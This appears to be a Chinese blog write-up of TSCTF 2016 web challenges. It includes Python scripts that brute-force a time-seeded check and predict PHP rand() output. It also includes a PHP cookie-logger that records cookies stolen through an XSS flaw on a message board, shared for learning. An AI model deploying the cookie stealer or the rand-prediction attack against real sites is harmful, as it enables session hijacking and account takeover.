第二届TSCTF比赛writeup及心得-Web

1. 送分题

一开始真没明白为什么叫送分题,后来明白了,泪流满面。。我只想说,查看源码这个事情一辈子都不能忘。

image

还是推荐以后都用这个,就不会漏了

image

 

2.Do you know time

网页显示一张福利图片,下载下来,随便用二进制打开图片,翻到最后面,发现了代码,种子确定了,srand就没意义了,种子是由time()函数确定的,发到服务器上总要一点时间,所以我们用time()+30的时间做种子,然后运行程序,就差不多能撞到服务器上的time()的时间。

image

但是一开始死活没找到入口,我还以为有什么信息没挖掘呢,,百度还识图找了原图,发现就是末尾加了东西。。。。看方法是POST,但是网页是GET方式提交的,明显就是要修改为POST,但是一开始怎么修改都不对,然后就把头改了,主要是Content-Type:

  1 import time
  2 import urllib
  3 import httplib
  4 print 'what'
  5 
  6 test_data = {'hash':'xxxxxxxxxxxxxxxxxxxxxxxxxxxxx'}
  7 test_data_urlencode = urllib.urlencode(test_data)
  8 requrl = "http://10.3.242.166/questions/web/web150/index.php"
  9 headerdata = {"Host":"10.3.242.166","Content-Type": "application/x-www-form-urlencoded"}
 10 
 11 for i in range(1,60):
 12     time.sleep(0.5)
 13     print '----------------------------------------------'
 14     conn = httplib.HTTPConnection("10.3.242.166")
 15     conn.request(method="POST",url=requrl,body=test_data_urlencode,headers = headerdata)
 16     response = conn.getresponse()
 17     res= response.read()
 18     print re
tcp_post

这道题主要考包构造和发包程序吧。。

(更多:关于服务器上时间可能和本地时间不一样的情况,可以用get_headers函数查看一下,或者用curl发包,然后也查看下返回头就能得到差值了。当然,此题还有暴力遍历到的。。我大概去了+-60s不到就过了,好神奇。。)

 

3. rand or not

not..

果然学的太少,我们来看源:

  1 $flag = 'flag';
  3 session_start();
  4 
  5 if(isset($_SESSION['count']) && isset($_SESSION['time'])) {
  6     $_SESSION['count'] += 1;
  7     if($_SESSION['count'] > 2){
  8         session_destroy();
  9         die('bye~~');
 10     }
 11     if(time() - $_SESSION['time'] > 2){
 12         session_destroy();
 13         die('timeout~~');
 14     }
 15 } else {
 16     $_SESSION['count'] = 0;
 17     $_SESSION['time'] = time();
 18 
 19     echo rand();
 20 
 21     $_SESSION['rand'] = array();
 22     $i = 5;
 23     $d = '';
 24     while($i--){
 25         $r = (string)rand();
 26         $_SESSION['rand'][] = $r;
 27         $d .= $r;
 28     }
 29 }
 30 
 31 
 32 if (isset($_GET['check'])) {
 33     if ($_GET['check'] === $_SESSION['rand']) {
 34         echo $flag;
 35     } else {
 36         echo 'die';
 37         session_destroy();
 38     }
 39 }
 40 31395
题目

rand的取值很小,max = 32767然而我真的不知道它会按顺序重复。。

后来知道它会重复,那还有什么怕的。。先打32768个数的表

<?php
    $xun = 32788;
    while ($xun--)
        echo rand().",";
?>

再搜索就好,里面涉及到php传数组的方式,要记得一下。

  1 import cookielib,urllib2,random
  2 
  3 cj = cookielib.CookieJar()
  4 opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
  5 first = opener.open('http://www.tsctf2016.com/questions/web/web200/index.php')
  6 data = first.read()
  7 #str2 = data[-6:]
  8 #print '---'+str2+'---'
  9 num1 = data[-5:]
 10 print num1
 11 
 12 f = open('randnum.txt','r')
 13 raw = f.read()
 14 pos = raw.find(str(num1))
 15 
 16 ans=['','','','','']
 17 
 18 st = raw.find(',',pos)
 19 for i in range(5):
 20     en = raw.find(',',st+1)
 21     ans[i] = raw[st+1:en]
 22     #print ans[i]
 23     st = en
 24 
 25 url = 'http://www.tsctf2016.com/questions/web/web200/index.php?check[]='+ans[0]+'&check[]='+ans[1]+'&check[]='+ans[2]+'&check[]='+ans[3]+'&check[]='+ans[4]
 26 print url
 27 f = opener.open(url)
 28 print f.read()
 29 
发包程序

 

4.web300-1 优雅的登录

似乎是,十分让人抓狂的题目啊。。

5.web300-2 flag被管理员藏起来了

flag,明显admin

然后是留言框,xss的,过滤很浅,img\iframe\object\a href等等都没过滤。编程将document.cookie读出到文件就可以了。。表示我做题的时候怎么没有看见里面有管理员的cookie,,,果然还是编程靠谱些。。

//转自我同学
<?php
$cookie = $_GET['c'];
$ip = getenv('REMOVE_ADDR');
$time = date("j F,Y,g:i a");
$ref = getenv('HTTP_REFERER');
$fp = fopen("cook.txt","a+");
fwrite($fp,"input the cookie:");
fwrite($fp, "Cookie:".$cookie."<br>IP:".$ip."<br>Date:".$time."<br>Referer:".$ref."<br><br><br>");
fclose($fp);
?>
posted @ 2016-05-11 20:43  普洛提亚  阅读(970)  评论(0编辑  收藏  举报